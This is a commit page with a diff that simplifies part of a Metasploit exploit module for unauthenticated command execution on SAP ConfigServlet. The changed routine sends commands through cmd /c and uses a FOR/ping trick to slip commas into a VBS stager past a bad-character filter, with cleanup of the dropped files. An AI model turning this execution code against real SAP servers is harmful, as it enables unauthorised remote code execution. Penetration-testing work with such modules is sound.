Skip to content

Commit 5839e7b

Browse files
committed
simplify code
1 parent 4aadd93 commit 5839e7b

File tree

1 file changed

+3
-6
lines changed

1 file changed

+3
-6
lines changed

modules/exploits/windows/http/sap_configservlet_exec_noauth.rb

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -84,17 +84,14 @@ def execute_command(cmd, opts)
8484
commands = cmd.split(/&/)
8585
commands.each do |command|
8686
timeout = 20
87+
if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
88+
register_file_for_cleanup($1)
89+
end
8790
if command.include?(".vbs") and command.include?(",")
8891
# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
8992
# using the following command line trick it is possible to echo commas into the right places
9093
command.gsub!(",", "%i")
9194
command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
92-
if command.include?("shell.run")
93-
if datastore['DELETE_FILES']
94-
command.match /.*shell\.run \"(.*)\".*/
95-
register_file_for_cleanup($1)
96-
end
97-
end
9895
else
9996
command = "cmd /c " + command
10097
end

0 commit comments

Comments
 (0)